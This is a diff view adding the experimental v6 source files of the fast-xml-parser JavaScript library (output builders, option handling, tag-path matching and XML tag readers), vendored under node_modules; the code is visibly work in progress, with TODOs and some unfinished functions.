only: [], // rest tags will be skipped. It will result in flat array
hierarchy: false, //will be used when a particular tag is set to be parsed.
skip: [], // will be skipped from parse result. on('skip') will be triggered
select: [], // on('select', tag => tag ) will be called if match
stop: [], //given tagPath will not be parsed. innerXML will be set as string value
OutputBuilder: new JsObjOutputBuilder(),
};
export const buildOptions = function (options) {
const finalOptions = { ...defaultOptions };
copyProperties(finalOptions, options)
return finalOptions;
};
function copyProperties(target, source) {
for (let key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
if (key === 'OutputBuilder') {
target[key] = source[key];
} else if (typeof source[key] === 'object' && !Array.isArray(source[key])) {
// Recursively copy nested properties
if (typeof target[key] === 'undefined') {
target[key] = {};
}
copyProperties(target[key], source[key]);
} else {
// Copy non-nested properties
target[key] = source[key];
}
}
}
}

View File

@@ -0,0 +1,69 @@
export default class BaseOutputBuilder {
constructor() {
// this.attributes = {};
}
addAttribute(name, value) {
if (this.options.onAttribute) {
//TODO: better to pass tag path
const v = this.options.onAttribute(name, value, this.tagName);
if (v) this.attributes[v.name] = v.value;
} else {
name = this.options.attributes.prefix + name + this.options.attributes.suffix;
this.attributes[name] = this.parseValue(value, this.options.attributes.valueParsers);
}
}
/**
* parse value by chain of parsers
* @param {string} val
* @returns {any} parsed value if matching parser found
*/
parseValue = function (val, valParsers) {
for (let i = 0; i < valParsers.length; i++) {
let valParser = valParsers[i];
if (typeof valParser === "string") {
valParser = this.registeredParsers[valParser];
}
if (valParser) {
val = valParser.parse(val);
}
}
return val;
}
/**
* To add a nested empty tag.
* @param {string} key
* @param {any} val
*/
_addChild(key, val) { }
/**
* skip the comment if property is not set
*/
addComment(text) {
if (this.options.nameFor.comment)
this._addChild(this.options.nameFor.comment, text);
}
//store CDATA separately if property is set
//otherwise add to tag's value
addCdata(text) {
if (this.options.nameFor.cdata) {
this._addChild(this.options.nameFor.cdata, text);
} else {
this.addRawValue(text || "");
}
}
addRawValue = text => this.addValue(text);
addDeclaration() {
if (!this.options.declaration) {
} else {
this.addPi("?xml");
}
this.attributes = {}
}
}

View File

@@ -0,0 +1,103 @@
import { buildOptions, registerCommonValueParsers } from './ParserOptionsBuilder.js';
export default class OutputBuilder {
constructor(options) {
this.options = buildOptions(options);
this.registeredParsers = registerCommonValueParsers(this.options);
}
registerValueParser(name, parserInstance) {//existing name will override the parser without warning
this.registeredParsers[name] = parserInstance;
}
getInstance(parserOptions) {
return new JsArrBuilder(parserOptions, this.options, this.registeredParsers);
}
}
const rootName = '!js_arr';
import BaseOutputBuilder from './BaseOutputBuilder.js';
class JsArrBuilder extends BaseOutputBuilder {
constructor(parserOptions, options, registeredParsers) {
super();
this.tagsStack = [];
this.parserOptions = parserOptions;
this.options = options;
this.registeredParsers = registeredParsers;
this.root = new Node(rootName);
this.currentNode = this.root;
this.attributes = {};
}
addTag(tag) {
//when a new tag is added, it should be added as child of current node
//TODO: shift this check to the parser
if (tag.name === "__proto__") tag.name = "#__proto__";
this.tagsStack.push(this.currentNode);
this.currentNode = new Node(tag.name, this.attributes);
this.attributes = {};
}
/**
* Check if the node should be added by checking user's preference
* @param {Node} node
* @returns boolean: true if the node should not be added
*/
closeTag() {
const node = this.currentNode;
this.currentNode = this.tagsStack.pop(); //set parent node in scope
if (this.options.onClose !== undefined) {
//TODO TagPathMatcher
const resultTag = this.options.onClose(node,
new TagPathMatcher(this.tagsStack, node));
if (resultTag) return;
}
this.currentNode.child.push(node); //to parent node
}
//Called by parent class methods
_addChild(key, val) {
// if(key === "__proto__") tagName = "#__proto__";
this.currentNode.child.push({ [key]: val });
// this.currentNode.leafType = false;
}
/**
* Add text value child node
* @param {string} text
*/
addValue(text) {
this.currentNode.child.push({ [this.options.nameFor.text]: this.parseValue(text, this.options.tags.valueParsers) });
}
addPi(name) {
//TODO: set pi flag
if (!this.options.ignorePiTags) {
const node = new Node(name, this.attributes);
this.currentNode[":@"] = this.attributes;
this.currentNode.child.push(node);
}
this.attributes = {};
}
getOutput() {
return this.root.child[0];
}
}
class Node {
constructor(tagname, attributes) {
this.tagname = tagname;
this.child = []; //nested tags, text, cdata, comments
if (attributes && Object.keys(attributes).length > 0)
this[":@"] = attributes;
}
}
module.exports = OutputBuilder;

View File

@@ -0,0 +1,100 @@
import {buildOptions,registerCommonValueParsers} from"./ParserOptionsBuilder.js";
export default class OutputBuilder{
constructor(options){
this.options = buildOptions(options);
this.registeredParsers = registerCommonValueParsers(this.options);
}
registerValueParser(name,parserInstance){//existing name will override the parser without warning
this.registeredParsers[name] = parserInstance;
}
getInstance(parserOptions){
return new JsMinArrBuilder(parserOptions, this.options, this.registeredParsers);
}
}
import BaseOutputBuilder from "./BaseOutputBuilder.js";
const rootName = '^';
class JsMinArrBuilder extends BaseOutputBuilder{
constructor(parserOptions, options,registeredParsers) {
super();
this.tagsStack = [];
this.parserOptions = parserOptions;
this.options = options;
this.registeredParsers = registeredParsers;
this.root = {[rootName]: []};
this.currentNode = this.root;
this.currentNodeTagName = rootName;
this.attributes = {};
}
addTag(tag){
//when a new tag is added, it should be added as child of current node
//TODO: shift this check to the parser
if(tag.name === "__proto__") tag.name = "#__proto__";
this.tagsStack.push([this.currentNodeTagName,this.currentNode]); //this.currentNode is parent node here
this.currentNodeTagName = tag.name;
this.currentNode = { [tag.name]:[]}
if(Object.keys(this.attributes).length > 0){
this.currentNode[":@"] = this.attributes;
this.attributes = {};
}
}
/**
* Check if the node should be added by checking user's preference
* @param {Node} node
* @returns boolean: true if the node should not be added
*/
closeTag(){
const node = this.currentNode;
const nodeName = this.currentNodeTagName;
const arr = this.tagsStack.pop(); //set parent node in scope
this.currentNodeTagName = arr[0];
this.currentNode = arr[1];
if(this.options.onClose !== undefined){
//TODO TagPathMatcher
const resultTag = this.options.onClose(node,
new TagPathMatcher(this.tagsStack,node));
if(resultTag) return;
}
this.currentNode[this.currentNodeTagName].push(node); //to parent node
}
//Called by parent class methods
_addChild(key, val){
// if(key === "__proto__") tagName = "#__proto__";
this.currentNode.push( {[key]: val });
// this.currentNode.leafType = false;
}
/**
* Add text value child node
* @param {string} text
*/
addValue(text){
this.currentNode[this.currentNodeTagName].push( {[this.options.nameFor.text]: this.parseValue(text, this.options.tags.valueParsers) });
}
addPi(name){
if(!this.options.ignorePiTags){
const node = { [name]:[]}
if(this.attributes){
node[":@"] = this.attributes;
}
this.currentNode.push(node);
}
this.attributes = {};
}
getOutput(){
return this.root[rootName];
}
}

View File

@@ -0,0 +1,154 @@
import { buildOptions, registerCommonValueParsers } from './ParserOptionsBuilder.js';
export default class OutputBuilder {
constructor(builderOptions) {
this.options = buildOptions(builderOptions);
this.registeredParsers = registerCommonValueParsers(this.options);
}
registerValueParser(name, parserInstance) {//existing name will override the parser without warning
this.registeredParsers[name] = parserInstance;
}
getInstance(parserOptions) {
return new JsObjBuilder(parserOptions, this.options, this.registeredParsers);
}
}
import BaseOutputBuilder from './BaseOutputBuilder.js';
const rootName = '^';
class JsObjBuilder extends BaseOutputBuilder {
constructor(parserOptions, builderOptions, registeredParsers) {
super();
//hold the raw detail of a tag and sequence with reference to the output
this.tagsStack = [];
this.parserOptions = parserOptions;
this.options = builderOptions;
this.registeredParsers = registeredParsers;
this.root = {};
this.parent = this.root;
this.tagName = rootName;
this.value = {};
this.textValue = "";
this.attributes = {};
}
addTag(tag) {
let value = "";
if (!isEmpty(this.attributes)) {
value = {};
if (this.options.attributes.groupBy) {
value[this.options.attributes.groupBy] = this.attributes;
} else {
value = this.attributes;
}
}
this.tagsStack.push([this.tagName, this.textValue, this.value]); //parent tag, parent text value, parent tag value (jsobj)
this.tagName = tag.name;
this.value = value;
this.textValue = "";
this.attributes = {};
}
/**
* Check if the node should be added by checking user's preference
* @param {Node} node
* @returns boolean: true if the node should not be added
*/
closeTag() {
const tagName = this.tagName;
let value = this.value;
let textValue = this.textValue;
//update tag text value
if (typeof value !== "object" && !Array.isArray(value)) {
value = this.parseValue(textValue.trim(), this.options.tags.valueParsers);
} else if (textValue.length > 0) {
value[this.options.nameFor.text] = this.parseValue(textValue.trim(), this.options.tags.valueParsers);
}
let resultTag = {
tagName: tagName,
value: value
};
if (this.options.onTagClose !== undefined) {
//TODO TagPathMatcher
resultTag = this.options.onClose(tagName, value, this.textValue, new TagPathMatcher(this.tagsStack, node));
if (!resultTag) return;
}
//set parent node in scope
let arr = this.tagsStack.pop();
let parentTag = arr[2];
parentTag = this._addChildTo(resultTag.tagName, resultTag.value, parentTag);
this.tagName = arr[0];
this.textValue = arr[1];
this.value = parentTag;
}
_addChild(key, val) {
if (typeof this.value === "string") {
this.value = { [this.options.nameFor.text]: this.value };
}
this._addChildTo(key, val, this.value);
// this.currentNode.leafType = false;
this.attributes = {};
}
_addChildTo(key, val, node) {
if (typeof node === 'string') node = {};
if (!node[key]) {
node[key] = val;
} else { //Repeated
if (!Array.isArray(node[key])) { //but not stored as array
node[key] = [node[key]];
}
node[key].push(val);
}
return node;
}
/**
* Add text value child node
* @param {string} text
*/
addValue(text) {
//TODO: use bytes join
if (this.textValue.length > 0) this.textValue += " " + text;
else this.textValue = text;
}
addPi(name) {
let value = "";
if (!isEmpty(this.attributes)) {
value = {};
if (this.options.attributes.groupBy) {
value[this.options.attributes.groupBy] = this.attributes;
} else {
value = this.attributes;
}
}
this._addChild(name, value);
}
getOutput() {
return this.value;
}
}
function isEmpty(obj) {
return Object.keys(obj).length === 0;
}

View File

@@ -0,0 +1,94 @@
import trimParser from "../valueParsers/trim.js";
import booleanParser from "../valueParsers/booleanParser.js";
import currencyParser from "../valueParsers/currency.js";
import numberParser from "../valueParsers/number.js";
const defaultOptions = {
nameFor: {
text: "#text",
comment: "",
cdata: "",
},
// onTagClose: () => {},
// onAttribute: () => {},
piTag: false,
declaration: false, //"?xml"
tags: {
valueParsers: [
// "trim",
// "boolean",
// "number",
// "currency",
// "date",
]
},
attributes: {
prefix: "@_",
suffix: "",
groupBy: "",
valueParsers: [
// "trim",
// "boolean",
// "number",
// "currency",
// "date",
]
},
dataType: {
}
}
//TODO
const withJoin = ["trim", "join", /*"entities",*/"number", "boolean", "currency"/*, "date"*/]
const withoutJoin = ["trim", /*"entities",*/"number", "boolean", "currency"/*, "date"*/]
export function buildOptions(options) {
//clone
const finalOptions = { ...defaultOptions };
//add config missed in cloning
finalOptions.tags.valueParsers.push(...withJoin)
if (!this.preserveOrder)
finalOptions.tags.valueParsers.push(...withoutJoin);
//add config missed in cloning
finalOptions.attributes.valueParsers.push(...withJoin)
//override configuration
copyProperties(finalOptions, options);
return finalOptions;
}
function copyProperties(target, source) {
for (let key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
if (typeof source[key] === 'object' && !Array.isArray(source[key])) {
// Recursively copy nested properties
if (typeof target[key] === 'undefined') {
target[key] = {};
}
copyProperties(target[key], source[key]);
} else {
// Copy non-nested properties
target[key] = source[key];
}
}
}
}
export function registerCommonValueParsers(options) {
return {
"trim": new trimParser(),
// "join": this.entityParser.parse,
"boolean": new booleanParser(),
"number": new numberParser({
hex: true,
leadingZeros: true,
eNotation: true
}),
"currency": new currencyParser(),
// "date": this.entityParser.parse,
}
}

0
node_modules/fast-xml-parser/src/v6/Report.js generated vendored Normal file
View File

81
node_modules/fast-xml-parser/src/v6/TagPath.js generated vendored Normal file
View File

@@ -0,0 +1,81 @@
export default class TagPath{
constructor(pathStr){
let text = "";
let tName = "";
let pos;
let aName = "";
let aVal = "";
this.stack = []
for (let i = 0; i < pathStr.length; i++) {
let ch = pathStr[i];
if(ch === " ") {
if(text.length === 0) continue;
tName = text; text = "";
}else if(ch === "["){
if(tName.length === 0){
tName = text; text = "";
}
i++;
for (; i < pathStr.length; i++) {
ch = pathStr[i];
if(ch=== "=") continue;
else if(ch=== "]") {aName = text.trim(); text=""; break; i--;}
else if(ch === "'" || ch === '"'){
let attrEnd = pathStr.indexOf(ch,i+1);
aVal = pathStr.substring(i+1, attrEnd);
i = attrEnd;
}else{
text +=ch;
}
}
}else if(ch !== " " && text.length === 0 && tName.length > 0){//reading tagName
//save previous tag
this.stack.push(new TagPathNode(tName,pos,aName,aVal));
text = ch; tName = ""; aName = ""; aVal = "";
}else{
text+=ch;
}
}
//last tag in the path
if(tName.length >0 || text.length>0){
this.stack.push(new TagPathNode(text||tName,pos,aName,aVal));
}
}
match(tagStack,node){
if(this.stack[0].name !== "*"){
if(this.stack.length !== tagStack.length +1) return false;
//loop through tagPath and tagStack and match
for (let i = 0; i < this.tagStack.length; i++) {
if(!this.stack[i].match(tagStack[i])) return false;
}
}
if(!this.stack[this.stack.length - 1].match(node)) return false;
return true;
}
}
class TagPathNode{
constructor(name,position,attrName,attrVal){
this.name = name;
this.position = position;
this.attrName = attrName,
this.attrVal = attrVal;
}
match(node){
let matching = true;
matching = node.name === this.name;
if(this.position) matching = node.position === this.position;
if(this.attrName) matching = node.attrs[this.attrName !== undefined];
if(this.attrVal) matching = node.attrs[this.attrName !== this.attrVal];
return matching;
}
}
// console.log((new TagPath("* b[b]")).stack);
// console.log((new TagPath("a[a] b[b] c")).stack);
// console.log((new TagPath(" b [ b= 'cf sdadwa' ] a ")).stack);

13
node_modules/fast-xml-parser/src/v6/TagPathMatcher.js generated vendored Normal file
View File

@@ -0,0 +1,13 @@
import {TagPath} from './TagPath.js';
export default class TagPathMatcher{
constructor(stack,node){
this.stack = stack;
this.node= node;
}
match(path){
const tagPath = new TagPath(path);
return tagPath.match(this.stack, this.node);
}
}

83
node_modules/fast-xml-parser/src/v6/XMLParser.js generated vendored Executable file
View File

@@ -0,0 +1,83 @@
import { buildOptions } from './OptionsBuilder.js';
import Xml2JsParser from './Xml2JsParser.js';
export default class XMLParser {
constructor(options) {
this.externalEntities = {};
this.options = buildOptions(options);
// console.log(this.options)
}
/**
* Parse XML data string to JS object
* @param {string|Buffer} xmlData
* @param {boolean|Object} validationOption
*/
parse(xmlData) {
if (Array.isArray(xmlData) && xmlData.byteLength !== undefined) {
return this.parse(xmlData);
} else if (xmlData.toString) {
xmlData = xmlData.toString();
} else {
throw new Error("XML data is accepted in String or Bytes[] form.")
}
// if( validationOption){
// if(validationOption === true) validationOption = {}; //validate with default options
// const result = validator.validate(xmlData, validationOption);
// if (result !== true) {
// throw Error( `${result.err.msg}:${result.err.line}:${result.err.col}` )
// }
// }
const parser = new Xml2JsParser(this.options);
parser.entityParser.addExternalEntities(this.externalEntities);
return parser.parse(xmlData);
}
/**
* Parse XML data buffer to JS object
* @param {string|Buffer} xmlData
* @param {boolean|Object} validationOption
*/
parseBytesArr(xmlData) {
if (Array.isArray(xmlData) && xmlData.byteLength !== undefined) {
} else {
throw new Error("XML data is accepted in Bytes[] form.")
}
const parser = new Xml2JsParser(this.options);
parser.entityParser.addExternalEntities(this.externalEntities);
return parser.parseBytesArr(xmlData);
}
/**
* Parse XML data stream to JS object
* @param {fs.ReadableStream} xmlDataStream
*/
parseStream(xmlDataStream) {
if (!isStream(xmlDataStream)) throw new Error("FXP: Invalid stream input");
const orderedObjParser = new Xml2JsParser(this.options);
orderedObjParser.entityParser.addExternalEntities(this.externalEntities);
return orderedObjParser.parseStream(xmlDataStream);
}
/**
* Add Entity which is not by default supported by this library
* @param {string} key
* @param {string} value
*/
addEntity(key, value) {
if (value.indexOf("&") !== -1) {
throw new Error("Entity value can't have '&'")
} else if (key.indexOf("&") !== -1 || key.indexOf(";") !== -1) {
throw new Error("An entity must be set without '&' and ';'. Eg. use '#xD' for '&#xD;'")
} else if (value === "&") {
throw new Error("An entity with value '&' is not permitted");
} else {
this.externalEntities[key] = value;
}
}
}
function isStream(stream) {
if (stream && typeof stream.read === "function" && typeof stream.on === "function" && typeof stream.readableEnded === "boolean") return true;
return false;
}

235
node_modules/fast-xml-parser/src/v6/Xml2JsParser.js generated vendored Normal file
View File

@@ -0,0 +1,235 @@
import StringSource from './inputSource/StringSource.js';
import BufferSource from './inputSource/BufferSource.js';
import {readTagExp,readClosingTagName} from './XmlPartReader.js';
import {readComment, readCdata,readDocType,readPiTag} from './XmlSpecialTagsReader.js';
import TagPath from './TagPath.js';
import TagPathMatcher from './TagPathMatcher.js';
import EntitiesParser from './EntitiesParser.js';
//To hold the data of current tag
//This is usually used to compare jpath expression against current tag
class TagDetail{
constructor(name){
this.name = name;
this.position = 0;
// this.attributes = {};
}
}
export default class Xml2JsParser {
constructor(options) {
this.options = options;
this.currentTagDetail = null;
this.tagTextData = "";
this.tagsStack = [];
this.entityParser = new EntitiesParser(options.htmlEntities);
this.stopNodes = [];
for (let i = 0; i < this.options.stopNodes.length; i++) {
this.stopNodes.push(new TagPath(this.options.stopNodes[i]));
}
}
parse(strData) {
this.source = new StringSource(strData);
this.parseXml();
return this.outputBuilder.getOutput();
}
parseBytesArr(data) {
this.source = new BufferSource(data );
this.parseXml();
return this.outputBuilder.getOutput();
}
parseXml() {
//TODO: Separate TagValueParser as separate class. So no scope issue in node builder class
//OutputBuilder should be set in XML Parser
this.outputBuilder = this.options.OutputBuilder.getInstance(this.options);
this.root = { root: true};
this.currentTagDetail = this.root;
while(this.source.canRead()){
let ch = this.source.readCh();
if (ch === "") break;
if(ch === "<"){//tagStart
let nextChar = this.source.readChAt(0);
if (nextChar === "" ) throw new Error("Unexpected end of source");
if(nextChar === "!" || nextChar === "?"){
this.source.updateBufferBoundary();
//previously collected text should be added to current node
this.addTextNode();
this.readSpecialTag(nextChar);// Read DOCTYPE, comment, CDATA, PI tag
}else if(nextChar === "/"){
this.source.updateBufferBoundary();
this.readClosingTag();
// console.log(this.source.buffer.length, this.source.readable);
// console.log(this.tagsStack.length);
}else{//opening tag
this.readOpeningTag();
}
}else{
this.tagTextData += ch;
}
}//End While loop
if(this.tagsStack.length > 0 || ( this.tagTextData !== "undefined" && this.tagTextData.trimEnd().length > 0) ) throw new Error("Unexpected data in the end of document");
}
/**
* read closing paired tag. Set parent tag in scope.
* skip a node on user's choice
*/
readClosingTag(){
const tagName = this.processTagName(readClosingTagName(this.source));
// console.log(tagName, this.tagsStack.length);
this.validateClosingTag(tagName);
// All the text data collected, belongs to current tag.
if(!this.currentTagDetail.root) this.addTextNode();
this.outputBuilder.closeTag();
// Since the tag is closed now, parent tag comes in scope
this.currentTagDetail = this.tagsStack.pop();
}
validateClosingTag(tagName){
// This can't be unpaired tag, or a stop tag.
if(this.isUnpaired(tagName) || this.isStopNode(tagName)) throw new Error(`Unexpected closing tag '${tagName}'`);
// This must match with last opening tag
else if(tagName !== this.currentTagDetail.name)
throw new Error(`Unexpected closing tag '${tagName}' expecting '${this.currentTagDetail.name}'`)
}
/**
* Read paired, unpaired, self-closing, stop and special tags.
* Create a new node
* Push paired tag in stack.
*/
readOpeningTag(){
//save previously collected text data to current node
this.addTextNode();
//create new tag
let tagExp = readTagExp(this, ">" );
// process and skip from tagsStack For unpaired tag, self closing tag, and stop node
const tagDetail = new TagDetail(tagExp.tagName);
if(this.isUnpaired(tagExp.tagName)) {
//TODO: this will lead 2 extra stack operation
this.outputBuilder.addTag(tagDetail);
this.outputBuilder.closeTag();
} else if(tagExp.selfClosing){
this.outputBuilder.addTag(tagDetail);
this.outputBuilder.closeTag();
} else if(this.isStopNode(this.currentTagDetail)){
// TODO: let's user set a stop node boundary detector for complex contents like script tag
//TODO: pass tag name only to avoid string operations
const content = source.readUptoCloseTag(`</${tagExp.tagName}`);
this.outputBuilder.addTag(tagDetail);
this.outputBuilder.addValue(content);
this.outputBuilder.closeTag();
}else{//paired tag
//set new nested tag in scope.
this.tagsStack.push(this.currentTagDetail);
this.outputBuilder.addTag(tagDetail);
this.currentTagDetail = tagDetail;
}
// console.log(tagExp.tagName,this.tagsStack.length);
// this.options.onClose()
}
readSpecialTag(startCh){
if(startCh == "!"){
let nextChar = this.source.readCh();
if (nextChar === null || nextChar === undefined) throw new Error("Unexpected ending of the source");
if(nextChar === "-"){//comment
readComment(this);
}else if(nextChar === "["){//CDATA
readCdata(this);
}else if(nextChar === "D"){//DOCTYPE
readDocType(this);
}
}else if(startCh === "?"){
readPiTag(this);
}else{
throw new Error(`Invalid tag '<${startCh}' at ${this.source.line}:${this.source.col}`)
}
}
addTextNode = function() {
// if(this.currentTagDetail){
//save text as child node
// if(this.currentTagDetail.tagname !== '!xml')
if (this.tagTextData !== undefined && this.tagTextData !== "") { //store previously collected data as textNode
if(this.tagTextData.trim().length > 0){
//TODO: shift parsing to output builder
this.outputBuilder.addValue(this.replaceEntities(this.tagTextData));
}
this.tagTextData = "";
}
// }
}
processAttrName(name){
if(name === "__proto__") name = "#__proto__";
name = resolveNameSpace(name, this.removeNSPrefix);
return name;
}
processTagName(name){
if(name === "__proto__") name = "#__proto__";
name = resolveNameSpace(name, this.removeNSPrefix);
return name;
}
/**
* Generate tags path from tagsStack
*/
tagsPath(tagName){
//TODO: return TagPath Object. User can call match method with path
return "";
}
isUnpaired(tagName){
return this.options.tags.unpaired.indexOf(tagName) !== -1;
}
/**
* valid expressions are
* tag nested
* * nested
* tag nested[attribute]
* tag nested[attribute=""]
* tag nested[attribute!=""]
* tag nested:0 //for future
* @param {string} tagName
* @returns
*/
isStopNode(node){
for (let i = 0; i < this.stopNodes.length; i++) {
const givenPath = this.stopNodes[i];
if(givenPath.match(this.tagsStack, node)) return true;
}
return false
}
replaceEntities(text){
//TODO: if option is set then replace entities
return this.entityParser.parse(text)
}
}
function resolveNameSpace(name, removeNSPrefix) {
if (removeNSPrefix) {
const parts = name.split(':');
if(parts.length === 2){
if (parts[0] === 'xmlns') return '';
else return parts[1];
}else reportError(`Multiple namespaces ${name}`)
}
return name;
}

210
node_modules/fast-xml-parser/src/v6/XmlPartReader.js generated vendored Normal file
View File

@@ -0,0 +1,210 @@
'use strict';
/**
* find paired tag for a stop node
* @param {string} xmlDoc
* @param {string} tagName
* @param {number} i : start index
*/
export function readStopNode(xmlDoc, tagName, i){
const startIndex = i;
// Starting at 1 since we already have an open tag
let openTagCount = 1;
for (; i < xmlDoc.length; i++) {
if( xmlDoc[i] === "<"){
if (xmlDoc[i+1] === "/") {//close tag
const closeIndex = findSubStrIndex(xmlDoc, ">", i, `${tagName} is not closed`);
let closeTagName = xmlDoc.substring(i+2,closeIndex).trim();
if(closeTagName === tagName){
openTagCount--;
if (openTagCount === 0) {
return {
tagContent: xmlDoc.substring(startIndex, i),
i : closeIndex
}
}
}
i=closeIndex;
} else if(xmlDoc[i+1] === '?') {
const closeIndex = findSubStrIndex(xmlDoc, "?>", i+1, "StopNode is not closed.")
i=closeIndex;
} else if(xmlDoc.substr(i + 1, 3) === '!--') {
const closeIndex = findSubStrIndex(xmlDoc, "-->", i+3, "StopNode is not closed.")
i=closeIndex;
} else if(xmlDoc.substr(i + 1, 2) === '![') {
const closeIndex = findSubStrIndex(xmlDoc, "]]>", i, "StopNode is not closed.") - 2;
i=closeIndex;
} else {
const tagData = readTagExp(xmlDoc, i, '>')
if (tagData) {
const openTagName = tagData && tagData.tagName;
if (openTagName === tagName && tagData.tagExp[tagData.tagExp.length-1] !== "/") {
openTagCount++;
}
i=tagData.closeIndex;
}
}
}
}//end for loop
}
/**
* Read closing tag name
* @param {Source} source
* @returns tag name
*/
export function readClosingTagName(source){
let text = ""; //temporary data
while(source.canRead()){
let ch = source.readCh();
// if (ch === null || ch === undefined) break;
// source.updateBuffer();
if (ch === ">") return text.trimEnd();
else text += ch;
}
throw new Error(`Unexpected end of source. Reading '${substr}'`);
}
/**
* Read XML tag and build attributes map
* This function can be used to read normal tag, pi tag.
* This function can't be used to read comment, CDATA, DOCTYPE.
* Eg <tag attr = ' some"' attr= ">" bool>
* @param {string} xmlDoc
* @param {number} startIndex starting index
* @returns tag expression includes tag name & attribute string
*/
export function readTagExp(parser) {
let inSingleQuotes = false;
let inDoubleQuotes = false;
let i;
let EOE = false;
for (i = 0; parser.source.canRead(i); i++) {
const char = parser.source.readChAt(i);
if (char === "'" && !inDoubleQuotes) {
inSingleQuotes = !inSingleQuotes;
} else if (char === '"' && !inSingleQuotes) {
inDoubleQuotes = !inDoubleQuotes;
} else if (char === '>' && !inSingleQuotes && !inDoubleQuotes) {
// If not inside quotes, stop reading at '>'
EOE = true;
break;
}
}
if(inSingleQuotes || inDoubleQuotes){
throw new Error("Invalid attribute expression. Quote is not properly closed");
}else if(!EOE) throw new Error("Unexpected closing of source. Waiting for '>'");
const exp = parser.source.readStr(i);
parser.source.updateBufferBoundary(i + 1);
return buildTagExpObj(exp, parser)
}
export function readPiExp(parser) {
let inSingleQuotes = false;
let inDoubleQuotes = false;
let i;
let EOE = false;
for (i = 0; parser.source.canRead(i) ; i++) {
const currentChar = parser.source.readChAt(i);
const nextChar = parser.source.readChAt(i+1);
if (currentChar === "'" && !inDoubleQuotes) {
inSingleQuotes = !inSingleQuotes;
} else if (currentChar === '"' && !inSingleQuotes) {
inDoubleQuotes = !inDoubleQuotes;
}
if (!inSingleQuotes && !inDoubleQuotes) {
if (currentChar === '?' && nextChar === '>') {
EOE = true;
break; // Exit the loop when '?>' is found
}
}
}
if(inSingleQuotes || inDoubleQuotes){
throw new Error("Invalid attribute expression. Quote is not properly closed in PI tag expression");
}else if(!EOE) throw new Error("Unexpected closing of source. Waiting for '?>'");
if(!parser.options.attributes.ignore){
//TODO: use regex to verify attributes if not set to ignore
}
const exp = parser.source.readStr(i);
parser.source.updateBufferBoundary(i + 1);
return buildTagExpObj(exp, parser)
}
function buildTagExpObj(exp, parser){
const tagExp = {
tagName: "",
selfClosing: false
};
let attrsExp = "";
// Check for self-closing tag before setting the name
if(exp[exp.length -1] === "/") {
tagExp.selfClosing = true;
exp = exp.slice(0, -1); // Remove the trailing slash
}
//separate tag name
let i = 0;
for (; i < exp.length; i++) {
const char = exp[i];
if(char === " "){
tagExp.tagName = exp.substring(0, i);
attrsExp = exp.substring(i + 1);
break;
}
}
//only tag
if(tagExp.tagName.length === 0 && i === exp.length)tagExp.tagName = exp;
tagExp.tagName = tagExp.tagName.trimEnd();
if(!parser.options.attributes.ignore && attrsExp.length > 0){
parseAttributesExp(attrsExp,parser)
}
return tagExp;
}
const attrsRegx = new RegExp('([^\\s=]+)\\s*(=\\s*([\'"])([\\s\\S]*?)\\3)?', 'gm');
function parseAttributesExp(attrStr, parser) {
const matches = getAllMatches(attrStr, attrsRegx);
const len = matches.length; //don't make it inline
for (let i = 0; i < len; i++) {
let attrName = parser.processAttrName(matches[i][1]);
let attrVal = parser.replaceEntities(matches[i][4] || true);
parser.outputBuilder.addAttribute(attrName, attrVal);
}
}
const getAllMatches = function(string, regex) {
const matches = [];
let match = regex.exec(string);
while (match) {
const allmatches = [];
allmatches.startIndex = regex.lastIndex - match[0].length;
const len = match.length;
for (let index = 0; index < len; index++) {
allmatches.push(match[index]);
}
matches.push(allmatches);
match = regex.exec(string);
}
return matches;
};

View File

@@ -0,0 +1,111 @@
import {readPiExp} from './XmlPartReader.js';
export function readCdata(parser){
//<![ are already read till this point
let str = parser.source.readStr(6); //CDATA[
parser.source.updateBufferBoundary(6);
if(str !== "CDATA[") throw new Error(`Invalid CDATA expression at ${parser.source.line}:${parser.source.cols}`);
let text = parser.source.readUpto("]]>");
parser.outputBuilder.addCdata(text);
}
export function readPiTag(parser){
//<? are already read till this point
let tagExp = readPiExp(parser, "?>");
if(!tagExp) throw new Error("Invalid Pi Tag expression.");
if (tagExp.tagName === "?xml") {//TODO: test if tagName is just xml
parser.outputBuilder.addDeclaration();
} else {
parser.outputBuilder.addPi("?"+tagExp.tagName);
}
}
export function readComment(parser){
//<!- are already read till this point
let ch = parser.source.readCh();
if(ch !== "-") throw new Error(`Invalid comment expression at ${parser.source.line}:${parser.source.cols}`);
let text = parser.source.readUpto("-->");
parser.outputBuilder.addComment(text);
}
const DOCTYPE_tags = {
"EL":/^EMENT\s+([^\s>]+)\s+(ANY|EMPTY|\(.+\)\s*$)/m,
"AT":/^TLIST\s+[^\s]+\s+[^\s]+\s+[^\s]+\s+[^\s]+\s+$/m,
"NO":/^TATION.+$/m
}
export function readDocType(parser){
//<!D are already read till this point
let str = parser.source.readStr(6); //OCTYPE
parser.source.updateBufferBoundary(6);
if(str !== "OCTYPE") throw new Error(`Invalid DOCTYPE expression at ${parser.source.line}:${parser.source.cols}`);
let hasBody = false, lastch = "";
while(parser.source.canRead()){
//TODO: use readChAt like used in partReader
let ch = parser.source.readCh();
if(hasBody){
if (ch === '<') { //Determine the tag type
let str = parser.source.readStr(2);
parser.source.updateBufferBoundary(2);
if(str === "EN"){ //ENTITY
let str = parser.source.readStr(4);
parser.source.updateBufferBoundary(4);
if(str !== "TITY") throw new Error("Invalid DOCTYPE ENTITY expression");
registerEntity(parser);
}else if(str === "!-") {//comment
readComment(parser);
}else{ //ELEMENT, ATTLIST, NOTATION
let dTagExp = parser.source.readUpto(">");
const regx = DOCTYPE_tags[str];
if(regx){
const match = dTagExp.match(regx);
if(!match) throw new Error("Invalid DOCTYPE");
}else throw new Error("Invalid DOCTYPE");
}
}else if( ch === '>' && lastch === "]"){//end of doctype
return;
}
}else if( ch === '>'){//end of doctype
return;
}else if( ch === '['){
hasBody = true;
}else{
lastch = ch;
}
}//End While loop
}
function registerEntity(parser){
//read Entity
let attrBoundary="";
let name ="", val ="";
while(source.canRead()){
let ch = source.readCh();
if(attrBoundary){
if (ch === attrBoundary){
val = text;
text = ""
}
}else if(ch === " " || ch === "\t"){
if(!name){
name = text.trimStart();
text = "";
}
}else if (ch === '"' || ch === "'") {//start of attrBoundary
attrBoundary = ch;
}else if(ch === ">"){
parser.entityParser.addExternalEntity(name,val);
return;
}else{
text+=ch;
}
}
}

View File

@@ -0,0 +1,116 @@
const Constants = {
space: 32,
tab: 9
}
export default class BufferSource{
constructor(bytesArr){
this.line = 1;
this.cols = 0;
this.buffer = bytesArr;
